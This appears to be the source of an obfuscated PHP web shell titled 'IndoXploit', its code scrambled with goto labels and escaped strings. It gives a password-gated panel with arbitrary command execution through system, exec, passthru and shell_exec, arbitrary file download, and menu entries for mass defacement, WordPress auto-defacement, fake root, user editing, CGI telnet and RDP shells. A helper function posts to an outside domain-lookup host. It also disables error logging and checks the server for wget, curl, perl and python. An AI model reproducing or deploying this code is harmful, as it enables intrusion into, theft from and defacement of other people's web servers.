"\\x3c\\146\\157\\156\\164\\x20\\143\\157\\154\\157\\x72\\75\\43\\x31\\70\\x42\\103\\71\\103\\x3e\\x4f\\116\\74\\x2f\\146\\157\\156\\x74\\76" : "\\x3c\\146\\x6f\\156\\164\\40\\x63\\157\\x6c\\x6f\\x72\\x3d\\162\\x65\\144\\x3e\\117\\x46\\106\\x3c\\x2f\\146\\x6f\\x6e\\164\\76"; goto bNYhl; FWhsM: echo "\\74\\141\\x20\\x73\\164\\x79\\x6c\\x65\\x3d\\x6d\\141\\x72\\147\\x69\\156\\x3a\\63\\160\\x78\\x3b\\15\\12\\xd\\xa\\15\\xa\\x9\\143\\x6c\\x61\\163\\163\\x3d\\x27\\142\\164\\156\\40\\142\\x74\\x6e\\x2d\\163\\x75\\x63\\x63\\145\\163\\x73\\x20\\x62\\x74\\x6e\\55\\163\\155\\x27\\40\\x68\\x72\\145\\x66\\75\\x27\\x3f\\144\\151\\x72\\x3d{$dir}\\x26\\144\\x6f\\x3d\\x61\\144\\155\\151\\x6e\\145\\162\\47\\76\\101\\x64\\155\\151\\156\\x65\\x72\\74\\x2f\\141\\76\\x3c\\57\\154\\x69\\76\\x3c\\142\\162\\x3e"; goto hHipa; M_CDe: session_start(); goto CB81c; Gjlnk: if (isset($_GET["\\146\\151\\x6c\\145"]) && $_GET["\\146\\x69\\154\\x65"] != \'\' && $_GET["\\x61\\143\\164"] == "\\x64\\x6f\\167\\x6e\\x6c\\157\\x61\\144") { goto wRA7J; wRA7J: @ob_clean(); goto SLYdN; bwt9M: header("\\105\\x78\\x70\\151\\x72\\x65\\x73\\72\\40\\60"); goto YTzjZ; Rqk_r: readfile($file); goto H4dH9; SLYdN: $file = $_GET["\\x66\\151\\154\\145"]; goto qrJcw; kbsuM: header("\\103\\157\\156\\x74\\145\\156\\x74\\x2d\\x44\\151\\163\\160\\x6f\\x73\\x69\\x74\\151\\157\\156\\72\\40\\141\\x74\\164\\141\\x63\\150\\155\\x65\\x6e\\x74\\73\\xd\\xa\\15\\12\\xd\\12\\x20\\146\\151\\154\\x65\\156\\141\\155\\145\\x3d\\x22" . basename($file) . "\\42"); goto bwt9M; gzKWs: header("\\x50\\162\\x61\\147\\155\\x61\\x3a\\40\\160\\165\\142\\154\\x69\\143"); goto ORhG_; ORhG_: header("\\103\\157\\156\\164\\x65\\156\\x74\\55\\114\\145\\156\\x67\\x74\\150\\72\\x20" . filesize($file)); goto Rqk_r; H4dH9: exit; goto rSFLA; qrJcw: header("\\103\\157\\x6e\\x74\\145\\x6e\\164\\x2d\\104\\145\\163\\x63\\162\\151\\160\\x74\\x69\\x6f\\x6e\\72\\x20\\x46\\x69\\x6c\\145\\40\\124\\x72\\x61\\x6e\\163\\x66\\145\\162"); goto egAgP; egAgP: header("\\103\\157\\156\\164\\x65\\x6e\\164\\x2d\\124\\x79\\x70\\x65\\x3a\\x20\\x61\\x70\\160\\x6c\\151\\x63\\x61\\164\\x69\\x6f\\156\\57\\x6f\\x63\\164\\145\\164\\x2d\\163\\x74\\x72\\x65\\x61\\155"); goto kbsuM; YTzjZ: header("\\103\\x61\\x63\\x68\\145\\x2d\\103\\x6f\\156\\164\\x72\\157\\154\\x3a\\40\\x6d\\165\\163\\164\\55\\x72\\x65\\x76\\141\\154\\151\\144\\141\\164\\x65"); goto gzKWs; rSFLA: } goto GEe2E; Bza0q: echo "\\103\\165\\x72\\x72\\145\\x6e\\164\\x20\\104\\x49\\x52\\x3a\\40"; goto CYhdc; LkJvb: function r($dir, $perm) { if (!is_readable($dir)) { return "\\74\\146\\157\\156\\x74\\x20\\143\\157\\154\\x6f\\x72\\75\\162\\x65\\144\\x3e" . $perm . "\\x3c\\x2f\\x66\\157\\156\\164\\76"; } else { return "\\x3c\\146\\157\\x6e\\164\\x20\\143\\157\\154\\157\\162\\x3d\\43\\61\\x38\\102\\x43\\71\\x43\\x3e" . $perm . "\\74\\57\\x66\\x6f\\x6e\\x74\\x3e"; } } goto QU6kp; bNIsm: echo "\\x3c\\x61\\40\\163\\x74\\x79\\154\\x65\\75\\155\\x61\\162\\147\\x69\\x6e\\72\\x33\\160\\x78\\73\\xd\\xa\\xd\\xa\\xd\\12\\x9\\143\\154\\141\\x73\\163\\x3d\\47\\142\\x74\\156\\x20\\x62\\164\\x6e\\x2d\\163\\x75\\x63\\x63\\145\\163\\x73\\x20\\x62\\164\\x6e\\55\\163\\x6d\\47\\40\\x68\\162\\x65\\146\\75\\47\\x3f\\x64\\x69\\x72\\x3d{$dir}\\46\\144\\157\\x3d\\152\\165\\155\\x70\\x69\\x6e\\x67\\47\\x3e\\x4a\\x75\\155\\160\\x69\\x6e\\x67\\74\\57\\x61\\x3e\\74\\57\\x6c\\x69\\x3e"; goto QQAj4; hHipa: echo "\\74\\x61\\x20\\x73\\x74\\x79\\154\\145\\75\\155\\x61\\162\\x67\\x69\\156\\x3a\\x33\\x70\\x78\\73\\15\\12\\xd\\12\\xd\\xa\\x9\\x63\\x6c\\141\\x73\\x73\\75\\47\\x62\\164\\156\\40\\142\\x74\\156\\x2d\\x73\\x75\\x63\\143\\145\\163\\163\\40\\142\\164\\x6e\\x2d\\x73\\155\\47\\x20\\150\\162\\145\\146\\75\\47\\x3f\\x64\\x69\\x72\\x3d{$dir}\\46\\x64\\157\\75\\x66\\141\\153\\x65\\137\\162\\x6f\\157\\164\\x27\\x3e\\x46\\x61\\153\\145\\x20\\122\\157\\x6f\\x74\\74\\57\\141\\x3e\\74\\57\\x6c\\151\\76"; goto AVW7n; NqVsA: echo "\\x3c\\x61\\40\\163\\164\\171\\154\\145\\x3d\\155\\x61\\x72\\147\\x69\\x6e\\x3a\\x33\\160\\170\\x3b\\15\\12\\xd\\12\\15\\12\\11\\143\\x6c\\x61\\163\\163\\75\\47\\x62\\x74\\x6e\\40\\x62\\164\\x6e\\55\\x73\\x75\\x63\\x63\\145\\x73\\163\\40\\x62\\164\\156\\x2d\\x73\\x6d\\47\\40\\x68\\162\\x65\\146\\75\\x27\\77\\144\\151\\x72\\x3d{$dir}\\46\\144\\157\\75\\155\\141\\163\\x73\\x5f\\144\\x65\\x66\\x61\\143\\x65\\47\\76\\x4d\\x61\\163\\163\\40\\x44\\x65\\146\\141\\143\\x65\\x3c\\x2f\\141\\x3e\\x3c\\57\\154\\x69\\x3e"; goto mQRub; KwdiC: function perms($file) { goto y3w1E; v1SBG: $info .= $perms & 0x20 ? "\\x72" : "\\55"; goto duh0V; h8uSC: if (($perms & 0xc000) == 0xc000) { $info = "\\163"; } elseif (($perms & 0xa000) == 0xa000) { $info = "\\154"; } elseif (($perms & 0x8000) == 0x8000) { $info = "\\55"; } elseif (($perms & 0x6000) == 0x6000) { $info = "\\142"; } elseif (($perms & 0x4000) == 0x4000) { $info = "\\144"; } elseif (($perms & 0x2000) == 0x2000) { $info = "\\x63"; } elseif (($perms & 0x1000) == 0x1000) { $info = "\\160"; } else { $info = "\\x75"; } goto zbxMQ; FVUt_: return $info; goto iSG8N; MV7u6: $info .= $perms & 0x80 ? "\\x77" : "\\x2d"; goto h1qKY; d1emI: $info .= $perms & 0x1 ? $perms & 0x200 ? "\\x74" : "\\x78" : ($perms & 0x200 ? "\\x54" : "\\x2d"); goto FVUt_; y3w1E: $perms = fileperms($file); goto h8uSC; pLEoP: $info .= $perms & 0x8 ? $perms & 0x400 ? "\\x73" : "\\170" : ($perms & 0x400 ? "\\x53" : "\\55"); goto fivEM; h1qKY: $info .= $perms & 0x40 ? $perms & 0x800 ? "\\163" : "\\170" : ($perms & 0x800 ? "\\123" : "\\x2d"); goto v1SBG; zbxMQ: $info .= $perms & 0x100 ? "\\162" : "\\x2d"; goto MV7u6; NZloh: $info .= $perms & 0x2 ? "\\167" : "\\55"; goto d1emI; duh0V: $info .= $perms & 0x10 ? "\\x77" : "\\x2d"; goto pLEoP; fivEM: $info .= $perms & 0x4 ? "\\162" : "\\55"; goto NZloh; iSG8N: } goto i8d6c; zcHMo: function login_shell() { echo "\\xd\\xa\\x3c\\150\\x74\\x6d\\154\\76\\xd\\12\\x3c\\150\\145\\141\\x64\\76\\xd\\xa\\x3c\\x74\\151\\164\\154\\145\\x3e\\111\\156\\144\\x6f\\x58\\x70\\x6c\\157\\x69\\x74\\x3c\\57\\164\\x69\\x74\\154\\x65\\76\\xd\\xa\\15\\xa\\74\\163\\x74\\171\\154\\x65\\40\\164\\171\\x70\\x65\\x3d\\42\\164\\145\\x78\\164\\x2f\\x63\\163\\163\\x22\\76\\xd\\12\\142\\157\\x64\\x79\\173\\xd\\xa\\x9\\142\\x61\\143\\x6b\\147\\x72\\x6f\\x75\\156\\x64\\72\\40\\165\\162\\x6c\\x28\\x68\\164\\x74\\x70\\163\\72\\x2f\\57\\x72\\65\\67\\x73\\150\\x65\\154\\x6c\\x2e\\x6e\\145\\x74\\x2f\\151\\x6d\\141\\147\\x65\\x73\\x2f\\151\\x6e\\x64\\x6f\\170\\160\\x6c\\x6f\\151\\164\\56\\160\\156\\147\\x29\\x20\\156\\x6f\\55\\x72\\x65\\160\\145\\x61\\x74\\x20\\x63\\x65\\x6e\\x74\\x65\\162\\x20\\143\\x65\\x6e\\x74\\x65\\162\\x20\\146\\x69\\x78\\145\\x64\\x3b\\15\\12\\xd\\xa\\xd\\12\\x20\\43\\146\\x66\\x66\\x3b\\15\\xa\\xd\\12\\15\\12\\15\\xa\\x20\\55\\x77\\145\\x62\\x6b\\151\\x74\\55\\x62\\x61\\x63\\153\\147\\162\\157\\165\\156\\144\\x2d\\x73\\151\\172\\x65\\72\\40\\143\\x6f\\166\\145\\162\\73\\15\\xa\\xd\\12\\15\\12\\xd\\xa\\40\\55\\x6d\\157\\x7a\\55\\x62\\x61\\x63\\153\\x67\\x72\\x6f\\165\\156\\144\\x2d\\x73\\x69\\x7a\\x65\\72\\40\\x63\\157\\166\\x65\\x72\\x3b\\xd\\12\\xd\\12\\15\\12\\xd\\12\\x20\\55\\157\\55\\x62\\141\\x63\\153\\147\\162\\157\\165\\156\\144\\x2d\\163\\x69\\172\\145\\x3a\\40\\x63\\157\\x76\\145\\x72\\x3b\\xd\\12\\xd\\12\\15\\xa\\xd\\12\\40\\x62\\x61\\143\\153\\147\\x72\\157\\x75\\156\\144\\x2d\\163\\151\\x7a\\145\\x3a\\x20\\x63\\157\\166\\x65\\x72\\73\\15\\xa\\xd\\12\\xd\\xa\\xd\\12\\x20\\x62\\x61\\x63\\x6b\\147\\x72\\x6f\\165\\156\\144\\55\\x61\\164\\164\\x61\\x63\\150\\155\\145\\156\\x74\\72\\x66\\151\\x78\\x65\\x64\\73\\xd\\xa\\xd\\12\\15\\xa\\xd\\12\\x7d\\xd\\12\\x69\\x6e\\x70\\165\\164\\x5b\\164\\x79\\160\\x65\\x3d\\160\\141\\x73\\x73\\x77\\157\\162\\x64\\135\\40\\x7b\\15\\xa\\x9\\167\\x69\\144\\164\\150\\72\\x20\\62\\65\\x30\\x70\\170\\x3b\\xd\\12\\xd\\xa\\15\\12\\15\\12\\11\\x68\\145\\x69\\147\\x68\\x74\\72\\x20\\x32\\x35\\160\\170\\x3b\\xd\\xa\\xd\\12\\15\\12\\xd\\xa\\11\\143\\157\\x6c\\x6f\\162\\x3a\\40\\167\\150\\151\\164\\x65\\73\\xd\\12\\15\\12\\15\\12\\15\\xa\\11\\142\\x61\\143\\x6b\\x67\\x72\\x6f\\165\\x6e\\144\\72\\x20\\x74\\x72\\141\\156\\x73\\160\\141\\162\\x65\\x6e\\x74\\x3b\\xd\\12\\xd\\12\\15\\12\\15\\xa\\x9\\142\\157\\162\\x64\\x65\\162\\x3a\\40\\61\\x70\\170\\40\\144\\x6f\\164\\x74\\x65\\144\\x20\\x74\\x72\\141\\156\\163\\x70\\141\\162\\x65\\x6e\\x74\\x3b\\15\\xa\\15\\xa\\xd\\xa\\15\\12\\x9\\160\\x61\\144\\144\\151\\x6e\\147\\72\\x20\\x35\\160\\x78\\x3b\\xd\\12\\xd\\12\\xd\\xa\\xd\\12\\11\\155\\x61\\162\\147\\x69\\x6e\\x2d\\x6c\\x65\\146\\x74\\x3a\\40\\62\\60\\x70\\170\\x3b\\xd\\xa\\15\\12\\15\\12\\xd\\xa\\11\\164\\x65\\x78\\164\\55\\x61\\x6c\\x69\\147\\156\\x3a\\x20\\143\\x65\\156\\x74\\x65\\162\\x3b\\15\\xa\\15\\xa\\15\\12\\xd\\12\\x7d\\15\\12\\74\\x2f\\x73\\x74\\171\\154\\x65\\76\\xd\\12\\x3c\\57\\x68\\x65\\141\\x64\\x3e\\15\\12\\x3c\\143\\145\\x6e\\164\\145\\x72\\76\\15\\12\\74\\146\\x6f\\162\\155\\40\\155\\145\\164\\150\\x6f\\144\\x3d\\42\\x70\\x6f\\x73\\x74\\42\\76\\xd\\12\\74\\151\\156\\160\\x75\\164\\x20\\164\\x79\\160\\145\\75\\42\\x70\\141\\163\\163\\167\\157\\x72\\x64\\42\\40\\x6e\\x61\\x6d\\x65\\x3d\\x22\\x70\\141\\163\\x73\\42\\x3e\\15\\12\\74\\x2f\\146\\x6f\\162\\155\\x3e\\15\\12\\15\\xa\\xd\\xa\\xd\\12"; exit; } goto dtZ7D; vWe1x: echo "\\x3c\\x61\\x20\\163\\x74\\x79\\154\\145\\75\\155\\x61\\162\\x67\\151\\x6e\\x3a\\x33\\x70\\x78\\73\\15\\12\\15\\12\\xd\\xa\\40\\x9\\x63\\154\\141\\163\\x73\\75\\47\\142\\164\\156\\40\\142\\164\\x6e\\x2d\\163\\165\\143\\143\\145\\x73\\x73\\40\\142\\x74\\x6e\\x2d\\163\\x6d\\x27\\40\\150\\162\\145\\146\\75\\x27\\43\\143\\157\\x6d\\47\\76\\103\\x6f\\x6d\\x6d\\x61\\x6e\\144\\74\\x2f\\141\\x3e\\x20\\x3c\\x2f\\x6c\\151\\76"; goto NqVsA; AVW7n: echo "\\x3c\\141\\x20\\x73\\x74\\x79\\x6c\\145\\75\\x6d\\141\\x72\\x67\\x69\\x6e\\x3a\\63\\160\\x78\\73\\15\\xa\\xd\\xa\\xd\\xa\\11\\143\\154\\x61\\x73\\x73\\x3d\\x27\\142\\164\\156\\x20\\x62\\164\\156\\x2d\\x73\\x75\\x63\\143\\x65\\163\\x73\\40\\x62\\x74\\156\\x2d\\x73\\x6d\\47\\40\\150\\x72\\145\\x66\\75\\47\\x3f\\x64\\x69\\x72\\x3d{$dir}\\x26\\144\\x6f\\75\\x61\\165\\164\\x6f\\137\\145\\x64\\151\\x74\\137\\165\\x73\\145\\x72\\47\\76\\101\\x75\\164\\x6f\\x20\\x45\\x64\\151\\x74\\x20\\x55\\x73\\x65\\x72\\x3c\\57\\x61\\x3e\\x3c\\57\\x6c\\x69\\x3e"; goto MR3FG; CB81c: error_reporting(0); goto XBsTK; QU6kp: function exe($cmd) { if (function_exists("\\x73\\x79\\163\\164\\145\\155")) { goto c_AH6; CThl7: $buff = @ob_get_contents(); goto gl4tA; WBJeG: return $buff; goto mFdcN; c_AH6: @ob_start(); goto Lpldo; Lpldo: @system($cmd); goto CThl7; gl4tA: @ob_end_clean(); goto WBJeG; mFdcN: } elseif (function_exists("\\145\\170\\x65\\x63")) { goto nBxZL; Q4WV1: return $buff; goto Fdm26; nBxZL: @exec($cmd, $results); goto XTT3Z; XTT3Z: $buff = \'\'; goto v0qW0; v0qW0: foreach ($results as $result) { $buff .= $result; } goto Q4WV1; Fdm26: } elseif (function_exists("\\x70\\x61\\163\\x73\\164\\150\\162\\165")) { goto WeCAn; WeCAn: @ob_start(); goto Bse9_; s327L: @ob_end_clean(); goto D_lIm; apGzX: $buff = @ob_get_contents(); goto s327L; D_lIm: return $buff; goto DHqtz; Bse9_: @passthru($cmd); goto apGzX; DHqtz: } elseif (function_exists("\\x73\\150\\145\\x6c\\154\\x5f\\x65\\170\\145\\143")) { $buff = @shell_exec($cmd); return $buff; } } goto KwdiC; BGSEQ: echo "\\x3c\\141\\40\\x73\\x74\\x79\\x6c\\145\\75\\155\\141\\162\\147\\151\\156\\x3a\\x33\\160\\170\\x3b\\15\\xa\\xd\\xa\\15\\12\\40\\11\\x63\\x6c\\141\\x73\\x73\\75\\47\\x62\\x74\\156\\40\\142\\x74\\156\\55\\163\\165\\x63\\x63\\145\\163\\x73\\40\\142\\x74\\156\\x2d\\x73\\155\\x27\\40\\150\\x72\\145\\x66\\x3d\\x27\\77\\144\\x69\\162\\x3d{$dir}\\x26\\x64\\x6f\\x3d\\165\\160\\154\\157\\141\\144\\47\\76\\125\\x70\\154\\157\\x61\\x64\\x3c\\x2f\\141\\76\\x20\\x3c\\57\\x6c\\x69\\x3e"; goto vWe1x; HsWmD: echo "\\x3c\\150\\162\\x3e"; goto Bza0q; b0CKD: $ip = gethostbyname($_SERVER["\\110\\x54\\124\\x50\\x5f\\x48\\x4f\\123\\x54"]); goto Fy207; dtZ7D: if (!isset($_SESSION[md5($_SERVER["\\x48\\124\\x54\\120\\137\\110\\117\\x53\\x54"])])) { if (empty($auth_pass) || isset($_POST["\\160\\x61\\x73\\x73"]) && md5($_POST["\\x70\\141\\163\\163"]) == $auth_pass) { $_SESSION[md5($_SERVER["\\110\\124\\x54\\x50\\x5f\\x48\\117\\123\\x54"])] = true; } else { login_shell(); } } goto Gjlnk; kwP7H: echo "\\x3c\\x63\\x65\\156\\x74\\145\\x72\\x3e"; goto LdhOz; i8d6c: function hdd($s) { if ($s >= 1073741824) { return sprintf("\\45\\x31\\x2e\\62\\146", $s / 1073741824) . "\\40\\x47\\102"; } elseif ($s >= 1048576) { return sprintf("\\x25\\x31\\x2e\\62\\146", $s / 1048576) . "\\x20\\115\\x42"; } elseif ($s >= 1024) { return sprintf("\\x25\\61\\x2e\\62\\x66", $s / 1024) . "\\40\\113\\102"; } else { return $s . "\\x20\\102"; } } goto ldryP; sW5xx: echo "\\74\\141\\40\\x73\\x74\\x79\\x6c\\145\\75\\x6d\\141\\x72\\147\\x69\\156\\x3a\\x33\\160\\170\\73\\15\\xa\\15\\xa\\xd\\12\\x9\\143\\x6c\\x61\\163\\x73\\x3d\\x27\\x62\\164\\156\\x20\\142\\164\\x6e\\x2d\\163\\165\\x63\\x63\\145\\x73\\163\\40\\x62\\164\\156\\55\\x73\\x6d\\47\\x20\\x68\\x72\\x65\\146\\75\\47\\x3f\\144\\x69\\162\\x3d{$dir}\\x26\\144\\157\\x3d\\x61\\x75\\x74\\157\\x5f\\144\\167\\x70\\x27\\x3e\\x57\\x6f\\x72\\144\\120\\162\\145\\x73\\163\\x20\\x41\\x75\\164\\x6f\\40\\x44\\x65\\146\\141\\x63\\145\\x3c\\57\\141\\76\\x3c\\x2f\\x6c\\151\\x3e"; goto HKUFP; ldryP: function ambilKata($param, $kata1, $kata2) { goto b6577; DlCJC: return $return; goto NQjlp; MLXyG: $return = substr($param, $start, $end - $start); goto DlCJC; e9G6O: $start = strpos($param, $kata1) + strlen($kata1); goto FigKR; FigKR: $end = strpos($param, $kata2, $start); goto MLXyG; b6577: if (strpos($param, $kata1) === FALSE) { return FALSE; } goto HbOZC; HbOZC: if (strpos($param, $kata2) === FALSE) { return FALSE; } goto e9G6O; NQjlp: } goto Gk0Ku; jwZyf: echo "\\x3c\\x61\\40\\163\\x74\\171\\154\\x65\\x3d\\155\\141\\x72\\x67\\151\\156\\72\\x33\\x70\\x78\\x3b\\xd\\12\\xd\\xa\\15\\12\\x9\\x63\\154\\141\\x73\\x73\\x3d\\47\\x62\\164\\156\\x20\\x62\\x74\\156\\55\\x73\\165\\x63\\x63\\x65\\x73\\x73\\40\\x62\\164\\156\\55\\163\\x6d\\x27\\x20\\x68\\162\\145\\146\\75\\47\\x3f\\x64\\151\\x72\\75{$dir}\\46\\x64\\157\\x3d\\143\\147\\151\\47\\76\\x43\\x47\\x49\\x20\\x54\\x65\\154\\156\\145\\x74\\74\\57\\141\\76\\74\\57\\x6c\\x69\\x3e"; goto OkEaV; LFFTA: function reverse($url) { goto uiwP3; oz6sK: $array = explode("\\x2c\\x2c", $resp); goto l7z0K; EXkcC: $resp = curl_exec($ch); goto MVsup; E1Wnv: curl_setopt($ch, CURLOPT_POST, 1); goto EXkcC; c1_Kf: curl_setopt($ch, CURLOPT_HEADER, 0); goto E1Wnv; l7z0K: unset($array[0]); goto vorKG; SflXn: curl_close($ch); goto kjywT; vorKG: foreach ($array as $lnk) { goto Sz23B; ujZqM: echo $lnk . "\\12"; goto CSnMh; nwt66: flush(); goto ZGoKC; Qxmn7: $lnk = str_replace("\\54", \'\', $lnk); goto ujZqM; CSnMh: ob_flush(); goto nwt66; Sz23B: $lnk = "\\150\\164\\x74\\x70\\x3a\\x2f\\x2f{$lnk}"; goto Qxmn7; ZGoKC: } goto SflXn; MRlpS: curl_setopt($ch, CURLOPT_POSTFIELDS, "\\x72\\x65\\155\\x6f\\164\\145\\101\\144\\x64\\162\\145\\163\\163\\75{$url}\\x26\\x6b\\145\\x74\\x3d"); goto c1_Kf; uiwP3: $ch = curl_init("\\x68\\164\\164\\160\\72\\x2f\\x2f\\144\\157\\155\\x61\\x69\\x6e\\163\\x2e\\171\\157\\165\\147\\x65\\164\\163\\x69\\147\\156\\x61\\x6c\\56\\x63\\157\\155\\x2f\\x64\\x6f\\x6d\\x61\\151\\x6e\\163\\56\\160\\150\\x70"); goto KPOWz; KPOWz: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto MRlpS; MVsup: $resp = str_replace("\\x5b", \'\', str_replace("\\135", \'\', str_replace("\\x22\\42", \'\', str_replace("\\54\\40\\x2c", "\\x2c", str_replace("\\x7b", \'\', str_replace("\\x7b", \'\', str_replace("\\175", \'\', str_replace("\\54\\x20", "\\x2c", str_replace("\\x2c\\x20", "\\54", str_replace("\\x27", \'\', str_replace("\\x27", \'\', str_replace("\\72", "\\x2c", str_replace("\\42", \'\', $resp))))))))))))); goto oz6sK; kjywT: } goto GKBVJ; LieNX: echo "\\x4d\\171\\x53\\121\\x4c\\72\\40{$mysql}\\x20\\x7c\\40\\120\\x65\\x72\\x6c\\72\\40{$perl}\\x20\\x7c\\40\\x50\\171\\x74\\x68\\157\\x6e\\x3a\\x20{$python}\\40\\174\\40\\x57\\x47\\x45\\124\\x3a\\x20{$wget}\\40\\174\\x20\\103\\125\\122\\x4c\\72\\x20{$curl}\\x20\\x3c\\142\\x72\\76"; goto fd28K; p9a3i: @ini_set("\\x6c\\x6f\\147\\137\\145\\x72\\162\\x6f\\162\\x73", 0); goto k0otU; GsZlr: echo "\\74\\141\\40\\163\\x74\\x79\\154\\145\\x3d\\155\\141\\162\\x67\\x69\\x6e\\72\\63\\160\\x78\\x3b\\xd\\xa\\15\\12\\15\\xa\\11\\x63\\154\\x61\\163\\163\\x3d\\x27\\142\\x74\\x6e\\x20\\142\\x74\\156\\55\\163\\165\\143\\x63\\145\\163\\163\\x20\\142\\164\\x6e\\55\\163\\x6d\\x27\\x20\\x68\\x72\\145\\x66\\x3d\\47\\x3f\\x64\\x69\\162\\x3d{$dir}\\x26\\x64\\157\\x3d\\x6b\\x72\\x64\\160\\x5f\\163\\150\\x65\\x6c\\x6c\\47\\76\\x4b\\55\\x52\\x44\\x50\\x20\\123\\150\\x65\\154\\154\\x3c\\57\\141\\x3e\\74\\57\\x6c\\x69\\x3e"; goto BJh6i; VwuY6: $color = "\\43\\60\\x30\\146\\x66\\x30\\x30"; goto kgQI7; HKUFP: echo "\\74\\x61\\x20\\x73\\164\\x79\\x6c\\145\\x3d\\x6d\\x61\\x72\\147\\151\\x6e\\72\\63\\160\\x78\\x3b\\15\\12\\xd\\12\\15\\12\\11\\x63\\154\\x61\\163\\x73\\75\\x27\\x62\\x74\\x6e\\40\\x62\\164\\x6e\\x2d\\x73\\x75\\x63\\143\\145\\x73\\163\\40\\x62\\x74\\156\\55\\163\\155\\x27\\x20\\x68\\162\\145\\146\\x3d\\47\\77\\x64\\151\\x72\\75{$dir}\\46\\x64\\157\\x3d\\x61\\165\\x74\\157\\x5f\\144\\x77\\x70\\x32\\47\\76\\127\\157\\162\\x64\\120\\162\\x65\\x73\\163\\x20\\x41\\165\\x74\\157\\x20\\x44\\145\\146\\x61\\143\\x65\\40\\126\\56\\62\\x3c\\x2f\\x61\\x3e\\74\\x2f\\154\\151\\x3e"; goto z7xcD; KAQ86: @ini_set("\\x65\\162\\162\\x6f\\x72\\137\\x6c\\x6f\\147", NULL); goto p9a3i; nKw0o: echo "\\x3c\\x61\\x20\\x73\\x74\\x79\\154\\x65\\x3d\\155\\141\\x72\\x67\\x69\\156\\x3a\\63\\x70\\x78\\73\\15\\12\\15\\xa\\xd\\xa\\x9\\x63\\154\\141\\x73\\x73\\75\\47\\x62\\x74\\156\\x20\\x62\\x74\\x6e\\55\\163\\165\\x63\\143\\x65\\x73\\163\\x20\\142\\164\\x6e\\55\\x73\\155\\47\\40\\x68\\x72\\x65\\x66\\x3d\\47\\x3f\\144\\x69\\x72\\75{$dir}\\x26\\x64\\x6f\\x3d\\x7a\\x6f\\x6e\\145\\x68\\x27\\x3e\\132\\157\\156\\145\\x2d\\x48\\x3c\\x2f\\x61\\x3e\\x3c\\x2f\\154\\151\\x3e"; goto jwZyf; QTniw: $freespace = hdd(disk_free_space("\\x2f")); goto q56zM; iVROW: function w($dir, $perm) { if (!is_writable($dir)) { return "\\x3c\\x66\\x6f\\x6e\\x74\\40\\143\\157\\154\\x6f\\x72\\75\\162\\145\\144\\76" . $perm . "\\74\\57\\x66\\x6f\\156\\x74\\76"; } else { return "\\x3c\\x66\\x6f\\156\\164\\x20\\x63\\157\\x6c\\157\\162\\75\\43\\61\\70\\x42\\103\\x39\\103\\x3e" . $perm . "\\74\\57\\146\\157\\156\\x74\\76"; } } goto LkJvb; GpH5q: if (isset($_GET["\\x64\\151\\x72"])) { $dir = $_GET["\\144\\x69\\162"]; chdir($dir); } else { $dir = getcwd(); } goto f4MTM; GEe2E: echo "\\15\\12\\xd\\12\\74\\x68\\x74\\155\\x6c\\76\\xd\\12\\x3c\\150\\x65\\x61\\144\\x3e\\15\\12\\74\\x74\\x69\\164\\154\\x65\\76\\111\\x6e\\x64\\157\\130\\160\\x6c\\157\\x69\\164\\x3c\\x2f\\x74\\151\\x74\\x6c\\145\\76\\xd\\12\\x3c\\155\\x65\\x74\\141\\40\\156\\141\\x6d\\145\\75\\x27\\141\\165\\164\\x68\\x6f\\x72\\x27\\40\\143\\157\\x6e\\164\\145\\156\\164\\x3d\\47\\x49\\156\\144\\x6f\\x58\\160\\x6c\\157\\151\\x74\\47\\76\\xd\\12\\74\\x6d\\x65\\164\\x61\\40\\143\\150\\141\\162\\x73\\x65\\x74\\x3d\\x22\\125\\x54\\106\\x2d\\x38\\x22\\76\\xd\\12\\x3c\\154\\151\\156\\x6b\\x20\\x68\\x72\\145\\146\\x3d\\x22\\150\\x74\\x74\\x70\\x3a\\x2f\\x2f\\142\\x6f\\x6f\\x74\\x73\\x77\\x61\\x74\\143\\x68\\x2e\\143\\157\\155\\x2f\\146\\x6c\\x61\\164\\x6c\\171\\x2f\\142\\157\\x6f\\x74\\x73\\164\\x72\\x61\\160\\56\\155\\151\\x6e\\56\\x63\\163\\x73\\x22\\40\\162\\145\\x6c\\75\\42\\163\\164\\171\\154\\145\\x73\\150\\x65\\145\\x74\\42\\x3e\\xd\\12\\40\\74\\x73\\143\\x72\\151\\x70\\x74\\40\\x3e\\x3c\\x2f\\x73\\x63\\x72\\151\\x70\\x74\\x3e\\15\\xa\\x3c\\x73\\164\\x79\\x6c\\x65\\40\\164\\171\\160\\145\\x3d\\x27\\x74\\145\\x78\\x74\\x2f\\143\\x73\\163\\47\\x3e\\15\\xa\\x40\\151\\x6d\\160\\x6f\\x72\\x74\\x20\\165\\162\\x6c\\50\\150\\x74\\164\\160\\x73\\72\\57\\x2f\\x66\\157\\x6e\\x74\\x73\\56\\147\\157\\157\\147\\x6c\\x65\\x61\\160\\x69\\x73\\x2e\\143\\x6f\\155\\x2f\\x63\\163\\x73\\x3f\\146\\x61\\155\\x69\\x6c\\171\\75\\x55\\142\\x75\\156\\x74\\165\\x29\\73\\xd\\xa\\15\\xa\\15\\12\\xd\\12\\142\\x6f\\144\\171\\x7b\\xd\\12\\11\\142\\141\\x63\\x6b\\147\\x72\\x6f\\165\\x6e\\x64\\x3a\\x20\\165\\x72\\x6c\\x28\\150\\x74\\164\\x70\\x73\\72\\57\\x2f\\162\\65\\x37\\163\\150\\x65\\x6c\\154\\x2e\\x6e\\145\\164\\57\\151\\155\\x61\\147\\145\\163\\x2f\\x69\\x6e\\144\\x6f\\x78\\160\\x6c\\x6f\\x69\\164\\x2e\\x70\\x6e\\147\\51\\x20\\156\\157\\55\\x72\\x65\\160\\145\\141\\164\\40\\143\\145\\156\\164\\145\\x72\\x20\\x63\\145\\x6e\\164\\145\\x72\\40\\x66\\x69\\x78\\x65\\144\\x3b\\xd\\12\\xd\\12\\15\\xa\\40\\43\\146\\x66\\146\\x3b\\15\\xa\\15\\12\\xd\\12\\15\\12\\x20\\55\\167\\145\\142\\153\\x69\\164\\55\\x62\\141\\x63\\153\\x67\\162\\157\\x75\\156\\144\\x2d\\x73\\151\\172\\145\\72\\x20\\143\\x6f\\x76\\145\\x72\\x3b\\xd\\xa\\xd\\xa\\15\\xa\\xd\\12\\40\\x2d\\155\\x6f\\172\\55\\x62\\x61\\x63\\x6b\\x67\\x72\\157\\x75\\156\\x64\\55\\163\\151\\172\\x65\\72\\x20\\x63\\x6f\\166\\145\\162\\73\\15\\12\\xd\\12\\15\\12\\xd\\xa\\40\\55\\157\\55\\142\\x61\\143\\x6b\\147\\x72\\157\\165\\156\\144\\x2d\\163\\x69\\172\\145\\x3a\\40\\143\\x6f\\166\\145\\162\\73\\xd\\12\\xd